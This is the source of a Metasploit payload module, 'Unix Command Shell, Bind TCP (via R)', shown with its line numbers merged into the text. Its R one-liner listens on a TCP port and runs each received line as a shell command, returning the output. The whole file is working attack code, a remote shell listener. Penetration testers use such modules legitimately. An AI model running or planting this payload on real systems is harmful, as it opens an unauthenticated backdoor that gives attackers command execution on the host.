Path: blob/master/modules/payloads/singles/cmd/unix/bind_r.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 13278include Msf::Payload::Single9include Msf::Payload::R10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Unix Command Shell, Bind TCP (via R)',17'Description' => 'Continually listen for a connection and spawn a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'R',26'Payload' => { 'Offsets' => {}, 'Payload' => '' }27)28)29register_advanced_options(30[31OptString.new('RPath', [true, 'The path to the R executable', 'R'])32]33)34end3536def generate(_opts = {})37prepends(r_string)38end3940def prepends(r_string)41"#{datastore['RPath']} -e \"#{r_string}\""42end4344def r_string45"s<-socketConnection(port=#{datastore['LPORT']}," \46"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" \47'(pipe(readLines(s,1))),s)}'48end49end505152